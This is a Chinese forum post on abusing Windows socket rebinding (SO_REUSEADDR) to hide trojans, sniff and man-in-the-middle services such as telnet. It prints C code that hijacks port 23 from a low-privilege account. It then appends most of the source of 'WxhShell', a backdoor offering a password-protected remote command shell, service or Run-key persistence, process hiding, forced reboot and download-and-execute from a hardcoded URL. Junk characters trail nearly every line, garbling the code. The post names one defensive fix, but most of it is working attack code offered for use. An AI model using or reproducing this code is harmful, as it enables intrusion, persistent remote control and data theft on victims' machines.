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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +"VP-s0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (7*}-Uy[C  
/Ci<xmP  
  saddr.sin_family = AF_INET; ;A[Q2(w+  
$ME)#(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !|>"o7  
0m ? )ROaJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tLmTjX .6  
teVM*-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z/J y'$x  
dgePPhj  
  这意味着什么?意味着可以进行如下的攻击: T[A 69O]v  
Ga'swP=hf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WX0tgXl  
?z u8)U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ig &Y  
E4xa[iZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I<tm"?q0  
8\gjST*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v.5+7,4  
)dSi/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4X|zmr:A  
SX-iAS[<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T]p-0?=4vv  
uW3!Yg@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p D+k*  
OZ!^ak  
  #include L8 @1THY  
  #include 3f;>" P}  
  #include S21,VpW\  
  #include    t0 ?\l)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   POR\e|hRT]  
  int main() L j$;:/G  
  { \nqS+on]  
  WORD wVersionRequested; G*v,GR  
  DWORD ret; }o{(S%%  
  WSADATA wsaData; c[Zje7 @  
  BOOL val; %u5]>]M+  
  SOCKADDR_IN saddr; Om {'1  
  SOCKADDR_IN scaddr; ;jTN | i'  
  int err; 7"xd1l?zz  
  SOCKET s; 6S\8$  
  SOCKET sc; {FTqu.  
  int caddsize; @xZR9Z8]L  
  HANDLE mt; RCLeA=/N@0  
  DWORD tid;   ~^b/(  
  wVersionRequested = MAKEWORD( 2, 2 ); u> / TE  
  err = WSAStartup( wVersionRequested, &wsaData ); \5cpFj5%  
  if ( err != 0 ) { g$o&Udgs  
  printf("error!WSAStartup failed!\n"); ;6hOx(>`=  
  return -1; 2)~> R  
  } 1@=po)Hnp  
  saddr.sin_family = AF_INET; !5?<% *  
   =E{`^IT'R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 da~],MN  
3{(/x1 a,4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ua `RJ  
  saddr.sin_port = htons(23); NW)1#]gg%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H7+,*  
  { & "B=/-(  
  printf("error!socket failed!\n"); Jpo (Wl  
  return -1; /|&*QLy  
  } kz7(Z'pw  
  val = TRUE; 4I5Y,g{6+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ld-_,-n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IdxzE_@  
  { W'TaBuCb  
  printf("error!setsockopt failed!\n"); pcI uN  
  return -1; ]"1DGg \A  
  } 9 JK Ew  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bK-N:8Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 maR"t+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cPc</[x[W  
_n\GNUA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5QO9Q]I#_\  
  { ~.lPEA %%  
  ret=GetLastError(); xA[mm  
  printf("error!bind failed!\n"); Q.c\/&  
  return -1; ROZF)|l  
  } @!d{bQd,  
  listen(s,2); *G 9V'9  
  while(1) k+l b@!  
  { 9k[9P;"F:  
  caddsize = sizeof(scaddr); 8qu6.  
  //接受连接请求 n@[O|?S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %GIr&V4|  
  if(sc!=INVALID_SOCKET) `x%>8/  
  { 63x?MY6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '>C5-R:O  
  if(mt==NULL) '(jG[ry&T  
  { [;myHI`tw  
  printf("Thread Creat Failed!\n"); Nu~lsWyRI5  
  break; %C_HXr@  
  } ',5 ky{  
  } =zs`#-^8  
  CloseHandle(mt); t9IW/Q  
  } 57'4ljvYi  
  closesocket(s); 2jCfT>`3  
  WSACleanup(); 7W.~  
  return 0; H~z`]5CN  
  }   PRE|+=w$  
  DWORD WINAPI ClientThread(LPVOID lpParam) VBcPu  
  { QUQ'3  
  SOCKET ss = (SOCKET)lpParam; `,*5wBC  
  SOCKET sc; 1D!<'`)AY  
  unsigned char buf[4096]; #@nezu2  
  SOCKADDR_IN saddr; LC!bIm5'  
  long num; LvYB7<zk>  
  DWORD val; m/EFHS49  
  DWORD ret; ?p8_AL'RS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J`1rJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V,N%;iB}  
  saddr.sin_family = AF_INET; t}tEvh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G?Hdq;  
  saddr.sin_port = htons(23); ~gRf:VXX=_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /fV;^=:8c  
  { ?#UO./"  
  printf("error!socket failed!\n"); OprkR  
  return -1; )p%E%6p  
  } w$-6-rE]d  
  val = 100; kX2rp?{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BsYa3d=}  
  { @cB$iP=Z4  
  ret = GetLastError(); ~z;FP$U  
  return -1; =+d?x 56  
  } 2*#|Nj=^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sZF6h=67D  
  { <0q;NrvUb  
  ret = GetLastError(); by/jYg)+  
  return -1; ] {HI?V  
  } /%A*aGyIc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I`4*+a'q&  
  { L4y4RG/SJ:  
  printf("error!socket connect failed!\n"); Nf1-!u7  
  closesocket(sc); k7usMVAA  
  closesocket(ss); a-L;*  
  return -1; SS.dY""89  
  } UFb )AnK  
  while(1) 0b(N^$js'  
  { K:30_l<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OX\F~+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I"7u2"@-8j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bhlG,NTP  
  num = recv(ss,buf,4096,0); vTw>JNVI  
  if(num>0) GYUn6P  
  send(sc,buf,num,0); yd`mG{Z  
  else if(num==0) 'u<juFr  
  break; y;@:ulv[  
  num = recv(sc,buf,4096,0); $[=%R`~w  
  if(num>0) ,]c 1A$Sr0  
  send(ss,buf,num,0); S\!ana])  
  else if(num==0) !H>R%g#28_  
  break; #" iu| D  
  } [-oc>; `=l  
  closesocket(ss); 9|CN8x-  
  closesocket(sc); LOV)3{m  
  return 0 ; l3F6AlPql  
  } Jz *;q~  
\7'{g@C(  
$43qME  
========================================================== &m:uO^-D  
161xAig  
下边附上一个代码,,WXhSHELL >]5P 3\AQV  
pgZXJ  
========================================================== Whf.fK  
`(/w y  
#include "stdafx.h" AoL2@C.C%D  
:yjKL^G>  
#include <stdio.h> dQR-H7U  
#include <string.h> Qhcu>r a  
#include <windows.h> oWo- j<  
#include <winsock2.h> |R\>@Mg#B  
#include <winsvc.h> :$BCRQ  
#include <urlmon.h> um>6z_"  
rFYWs6  
#pragma comment (lib, "Ws2_32.lib") _&ks1cw  
#pragma comment (lib, "urlmon.lib") A`o8'+`C  
PGV/ h  
#define MAX_USER   100 // 最大客户端连接数 Y,t={HiclX  
#define BUF_SOCK   200 // sock buffer ,0HRAmG  
#define KEY_BUFF   255 // 输入 buffer !6Mo]xh  
=k`Cr0aPF  
#define REBOOT     0   // 重启 h6`6tk  
#define SHUTDOWN   1   // 关机 UVIKQpA]A  
uT7B#b7  
#define DEF_PORT   5000 // 监听端口 1 \6D '/G  
KE3;V2Ym f  
#define REG_LEN     16   // 注册表键长度 G..aiA  
#define SVC_LEN     80   // NT服务名长度 0o*8#i/)!3  
6-B|Y3)B  
// 从dll定义API _#8RSr8'y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ur=(.%@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R)ITy!z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6wECo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !.(P~j][  
T&o(N3lW  
// wxhshell配置信息 VYImI>.t{  
struct WSCFG { Ob`d  
  int ws_port;         // 监听端口 =\:qo'l  
  char ws_passstr[REG_LEN]; // 口令 s?,Ek  
  int ws_autoins;       // 安装标记, 1=yes 0=no G`BU=Fi  
  char ws_regname[REG_LEN]; // 注册表键名 JB]q   
  char ws_svcname[REG_LEN]; // 服务名 ia E^a^*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wLJ:\_Jaf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "J8vjr1/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pax|x15  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MC:@U~}6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rJbf_]^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !"/n/jz  
@wo(tf=@P  
}; 0+;bh {Eu  
90*5 5\>{  
// default Wxhshell configuration Y U5(g^<  
struct WSCFG wscfg={DEF_PORT, J!pygn O  
    "xuhuanlingzhe", 8MzVOF{"  
    1, )@Yf]qx+Y<  
    "Wxhshell", mtmjZP(w   
    "Wxhshell", .NC:;@y  
            "WxhShell Service", x&Kh>PVh\  
    "Wrsky Windows CmdShell Service", kN4{13Qs*  
    "Please Input Your Password: ", 64G[|" j D  
  1, k" PayyAC  
  "http://www.wrsky.com/wxhshell.exe", aYS!xh206  
  "Wxhshell.exe" 2:7zG "$  
    }; n+q!l&&  
"x*e gI  
// 消息定义模块 PV\+P6aIb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^^as'Dk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }Nm#q@o$P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0C irfcs}Z  
char *msg_ws_ext="\n\rExit."; 6vNrBB  
char *msg_ws_end="\n\rQuit."; %Iv,@}kvT+  
char *msg_ws_boot="\n\rReboot..."; KZ ;k)O.Ov  
char *msg_ws_poff="\n\rShutdown..."; ,J^b0@S  
char *msg_ws_down="\n\rSave to "; "haL  
qr4pR-Gdr  
char *msg_ws_err="\n\rErr!"; yvH A7eq*"  
char *msg_ws_ok="\n\rOK!"; lc,tVe_  
%9N7Ln|%  
char ExeFile[MAX_PATH]; RcM/!,B  
int nUser = 0; vZ&T}H~8  
HANDLE handles[MAX_USER]; iwp{%FF  
int OsIsNt; CpeU5 o@  
4N zwE(  
SERVICE_STATUS       serviceStatus; -$jEfi4I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W~~7 C,!  
;HJLs2bP  
// 函数声明 W=Mb  
int Install(void); B!_mC<*4`X  
int Uninstall(void); -vR5BMy=  
int DownloadFile(char *sURL, SOCKET wsh); >qjq=Ege  
int Boot(int flag); 9m<jcxla$  
void HideProc(void); %gyLCTw  
int GetOsVer(void); {/(D$"j(S  
int Wxhshell(SOCKET wsl); 7- ] as$  
void TalkWithClient(void *cs); bg&zo;Ck8T  
int CmdShell(SOCKET sock); ;/fF,L{c  
int StartFromService(void); X>(TrdK_9"  
int StartWxhshell(LPSTR lpCmdLine); ~yfNxH~k  
n}_JB>i~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ")dH,:#S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V#t%/l  
qx8fRIK%  
// 数据结构和表定义 o+QE8H43  
SERVICE_TABLE_ENTRY DispatchTable[] = f]|ysf  
{ YoZFwRQU  
{wscfg.ws_svcname, NTServiceMain}, !tMuuK?IL=  
{NULL, NULL} |_*O'#jx  
}; 7;sj%U^'l  
s(%oTKjt  
// 自我安装 qnJt5  
int Install(void) k*E\B@W>  
{ wF,UE _  
  char svExeFile[MAX_PATH]; iH@yCNE"  
  HKEY key; VsgE!/>1  
  strcpy(svExeFile,ExeFile); qY<'<T4\  
ujaG Ng?,  
// 如果是win9x系统,修改注册表设为自启动 sCis4gX.]  
if(!OsIsNt) { )5%'.P>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'EF9Zt8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5b/|!{  
  RegCloseKey(key); *:t|qgJI#+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p|jV{P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wi2WRJdyu  
  RegCloseKey(key);  , ^;)<[  
  return 0; )Xak JU^o  
    } ^m"u3b4  
  } e2ilB),  
} feNdMR7eM  
else { oCi=4#g%7  
7_Z#m (  
// 如果是NT以上系统,安装为系统服务 F\AX :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 04'~ta(t  
if (schSCManager!=0) OCJnjlV%  
{ O<"}|nbmQ[  
  SC_HANDLE schService = CreateService 7,|c  
  ( jbu8~\"  
  schSCManager, 8p9bCE>\  
  wscfg.ws_svcname, #u"k~La  
  wscfg.ws_svcdisp, j>x-"9N  
  SERVICE_ALL_ACCESS, a /#PLP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S<u-n8bv  
  SERVICE_AUTO_START, MHai%E  
  SERVICE_ERROR_NORMAL, n\5RAIg  
  svExeFile, x2z;6)  
  NULL, W$rH"_@m  
  NULL, X4t s)>"d  
  NULL, ;A'Z4=*~  
  NULL, 7J|VD#DE$Y  
  NULL 0-|byAh  
  ); \B 0ywN?  
  if (schService!=0) 2Sp=rI  
  { pN9A{v(  
  CloseServiceHandle(schService); ;SaX;!`39+  
  CloseServiceHandle(schSCManager); Y&_&s7z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NqEA4C  
  strcat(svExeFile,wscfg.ws_svcname); ?jt}*q>X]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &A)B~"[~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A~ +S1  
  RegCloseKey(key); '|*?*6q  
  return 0; Yd=a}T  
    } 8&~~j7p,  
  } k^%B5  
  CloseServiceHandle(schSCManager); )m{Ye0!RD  
} 0iK;Egwm  
} {h2TD P  
+$(2:S*r  
return 1; K+8-9$w6  
} I_%a{$Gjl  
%4 XJn@J  
// 自我卸载 EG0auzW?  
int Uninstall(void) J9Ou+6u(  
{ 9,_mS{+B  
  HKEY key; ,FMx5$  
ivz>dJ?T  
if(!OsIsNt) { :ORR_f`>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }gMDXy}  
  RegDeleteValue(key,wscfg.ws_regname); 4e;y G>  
  RegCloseKey(key); GbA.UM ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WN5`;{\  
  RegDeleteValue(key,wscfg.ws_regname); bi&*9K0  
  RegCloseKey(key); HXYRH  
  return 0; A"l?:?rtw]  
  } _uKZMl  
} dT$M y`>  
} f1)x5N  
else { *B\H-lp?  
Vc%R$E%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |'+eMl  
if (schSCManager!=0) #8bsxx!s  
{ ofMY,~w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M$d%p6Cv  
  if (schService!=0) bb`':3%  
  { P<2 +L|X?}  
  if(DeleteService(schService)!=0) { |vMpXiMxxT  
  CloseServiceHandle(schService); LIVU^Os.  
  CloseServiceHandle(schSCManager); 5"]~oPK  
  return 0; P"?FnTbv[  
  } -}4NT{E  
  CloseServiceHandle(schService); pge++Di  
  } ?@t  d  
  CloseServiceHandle(schSCManager); :nS;W  
} G,<T/f .{$  
} A'K%WW*'U  
#nO|A\N  
return 1; j.ldaLdG  
} kR@Yl Yo  
G #T<`>T  
// 从指定url下载文件 B_l{<  
int DownloadFile(char *sURL, SOCKET wsh) m6yIR6H  
{ 8W+gl=C~  
  HRESULT hr; JwRF(1_sM  
char seps[]= "/"; eo!zW  
char *token; J~iBB~x.  
char *file; p!V>XY'N^  
char myURL[MAX_PATH]; M9f?q.Bv  
char myFILE[MAX_PATH]; !k(_PM  
%Lrd6i_j  
strcpy(myURL,sURL); f0SAP0M3  
  token=strtok(myURL,seps); ^*= 85iyo  
  while(token!=NULL) N+)?$[  
  { 0hn-FH-XE  
    file=token; /.eeO k  
  token=strtok(NULL,seps); ?Xo*1Z =  
  } 70Yjv 1i  
c$,_>tcP  
GetCurrentDirectory(MAX_PATH,myFILE); `L5~mb;7*  
strcat(myFILE, "\\"); h~,JdDV8l*  
strcat(myFILE, file); qr50E[  
  send(wsh,myFILE,strlen(myFILE),0); xwZ8D<e-,  
send(wsh,"...",3,0); Yy JPHw)Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SL&hJs4c'  
  if(hr==S_OK) C#=bW'C  
return 0; sz):oea@f@  
else F;!2(sPS  
return 1; Q U F$@)A  
G02m/8g3  
} }o,z!_^PLQ  
+P`(Rf"luu  
// 系统电源模块 E%TpJl'U  
int Boot(int flag) 9>#:/g/  
{ rf9_eP  
  HANDLE hToken; ^D_/=4rz8  
  TOKEN_PRIVILEGES tkp; *Sf -; U  
 <n\`d  
  if(OsIsNt) { )g@S%Yu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "4j:[9vR\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rba;&D;  
    tkp.PrivilegeCount = 1; v !Kw< fp|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2~p[7?sp'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >(tn"2  
if(flag==REBOOT) { aSYs_?&.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0ZPV' `KGp  
  return 0; - ?!:{UXl  
} kK~IwA  
else { 7C?.L70ZY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %im#ww L%  
  return 0; :y,v&Kk#T  
} GfyX'(ge  
  } n1:v HBM@\  
  else { -,":5V26  
if(flag==REBOOT) { i"^<CR@e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pY^9l3y^  
  return 0; \Z-2leL)j  
} $ 'QdFkOr  
else { Y ZaP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w.+Eyu_I\  
  return 0; 8C.!V =@\  
} {-63/z  
} 4DO/rtkVq  
9;r? nZT/  
return 1; H.J5i~s  
} SLk2X;c]o  
(%Oe_*e}Y  
// win9x进程隐藏模块 eE/%6g  
void HideProc(void) F}rPY:  
{ %W|DJ\l8"  
02]xJo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  td(M#a-  
  if ( hKernel != NULL ) $-@$i`Kf/  
  { h <[+HsI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +~|AT+|iI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1}`LTPW9  
    FreeLibrary(hKernel); RyRqH:p)3  
  } '%3{jc-}  
U?U(;nSR\A  
return; /?zW<QUI  
} Q59/ex  
t58m=4  
// 获取操作系统版本 2Yyb#Ow  
int GetOsVer(void) 3GmK3uM  
{ {>.>7{7  
  OSVERSIONINFO winfo; 4IGxI7~27#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y=o=1(  
  GetVersionEx(&winfo); '}O!2W&Y]%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YbvX$/zGu  
  return 1; $k(9 U\y-  
  else eECj_eH-  
  return 0; @]3*B %t  
} PbUI!Xqe`  
712=rUI%!  
// 客户端句柄模块 6bL"LM`s  
int Wxhshell(SOCKET wsl) lgG8!Ja  
{ q=[U }{  
  SOCKET wsh; tq E>Zx=X  
  struct sockaddr_in client; Q}uG/HI  
  DWORD myID; O`[]xs  
*#ompm  
  while(nUser<MAX_USER) ucFw,sB1  
{ f sX;Nj]  
  int nSize=sizeof(client); 0e9A+&r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w:tGPort  
  if(wsh==INVALID_SOCKET) return 1; #6FaIq92V  
ECdfLn*c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QBjY&(vY  
if(handles[nUser]==0) ;^.9#B,<  
  closesocket(wsh); WB"$u2{|i  
else j];1"50?  
  nUser++; n^Au*'  
  } 7dhn'TW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k <}I<Or  
`]yKM0 Z  
  return 0; qi[(*bFK7  
} 'Fzuc^G(d  
5k`e^ARf  
// 关闭 socket s#Q _Gu  
void CloseIt(SOCKET wsh) LsotgQ8   
{ ZmO' IT=Ye  
closesocket(wsh); }Ch[|D=Wd6  
nUser--; 3&'R1~Vh  
ExitThread(0); Cs;<'[_?YO  
} NQ3|\<Wt  
i~AJ.@ #  
// 客户端请求句柄 AuM:2N2  
void TalkWithClient(void *cs) L(Rorf~V  
{ E#~2wqK  
p d%LL?O  
  SOCKET wsh=(SOCKET)cs; D;yd{]<  
  char pwd[SVC_LEN]; R]fYe#!"  
  char cmd[KEY_BUFF]; Dpp@*xX>  
char chr[1]; @>9A$w$H|a  
int i,j; *%f3rvt7@)  
'v`~(9'Rcj  
  while (nUser < MAX_USER) { l2M/ ,@G  
;W4:#/~14  
if(wscfg.ws_passstr) { a:xgjUt&5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {N@Y<=+:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4}PeP^pj  
  //ZeroMemory(pwd,KEY_BUFF); K+t];(  
      i=0; 0 wYiu  
  while(i<SVC_LEN) { ]LY^9eK)>{  
YmA) @1@U  
  // 设置超时 zXDd,ltm  
  fd_set FdRead; [@s=J)H  
  struct timeval TimeOut; 9M19 UP&  
  FD_ZERO(&FdRead); +"G(  
  FD_SET(wsh,&FdRead); /T4VJ{D  
  TimeOut.tv_sec=8; }W)Mwu'W  
  TimeOut.tv_usec=0; _/8y1) I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (T`q++  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y#GCtkhi  
)[RpZpd`*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D)RdOldr  
  pwd=chr[0]; TyyRj4>  
  if(chr[0]==0xd || chr[0]==0xa) { %!W 6<ioW  
  pwd=0; 6;[1Jz]?i  
  break; rGAFp,}-f  
  } ]s}aC9I  
  i++; 's/27=o  
    } \Z8Y(]6*  
L)=8mF.  
  // 如果是非法用户,关闭 socket %!#rrt,F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =`ywd]\7  
} A1Ibx|K  
/G[+E&vj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >dcqPNDg1^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1_XO3P\  
nN!vgn j  
while(1) { la1D2 lM  
MH2OqiCI  
  ZeroMemory(cmd,KEY_BUFF); <m:4g ,6  
>J?jr&i  
      // 自动支持客户端 telnet标准   {[rO2<MkA#  
  j=0; |^\ Hv5  
  while(j<KEY_BUFF) { ``/y=k/au  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?cA8P.?^A  
  cmd[j]=chr[0]; aslNlH6  
  if(chr[0]==0xa || chr[0]==0xd) { _g^E%@'W  
  cmd[j]=0; wZ}n3R,   
  break; u_hE7#i  
  } yDDghW'\WU  
  j++; dW:w<{a!R  
    } T;xHIg4  
f45;fT>   
  // 下载文件 &8o  :  
  if(strstr(cmd,"http://")) { O>kXysMv>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :tg@HyY)  
  if(DownloadFile(cmd,wsh)) Cw@k.{*7,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DHSU?o#jY  
  else KLj4 LOs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0:PH[\Z  
  } :$+D 2*(  
  else { U`HXsq p}  
/[p?_EX@  
    switch(cmd[0]) { #%9oQ6nO  
  *tIdp`xT/T  
  // 帮助 m[//_TFf]  
  case '?': { UA1]o5K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^/ULh,w!fP  
    break; )@sJTAK  
  } \fkS_r,i  
  // 安装 :9v*,*@x  
  case 'i': { )ylv(qgV  
    if(Install()) r|u6OF>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A} x_zt  
    else |8&\N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >F_qa=t%[  
    break; g>d7%FFn}  
    } 1oXz[V  
  // 卸载 YqK+F=0  
  case 'r': { -PIA;#Gs  
    if(Uninstall()) B Lsdx }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (xjoRbU*  
    else QYODmeu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #3 }5cC8_  
    break; ir( -$*J  
    } S&;T_^|  
  // 显示 wxhshell 所在路径 tU-#pB>H  
  case 'p': { %N?W]vbra  
    char svExeFile[MAX_PATH]; 'b?#4rq}  
    strcpy(svExeFile,"\n\r"); %Q>~7P  
      strcat(svExeFile,ExeFile); Q>06dO~z8  
        send(wsh,svExeFile,strlen(svExeFile),0); JI{OGr  
    break; 1"~O"msb  
    } KqG/a  
  // 重启 J7 Oa})-+'  
  case 'b': { %M4XbSN|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {+9^PC_hm;  
    if(Boot(REBOOT)) cQUH%7m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QiQ2XW\E  
    else { oX=*MEfX  
    closesocket(wsh); v#T?YK  
    ExitThread(0); c1Fru  
    } )l 4>=y  
    break; w[J (E  
    } 8\W3Fv Q  
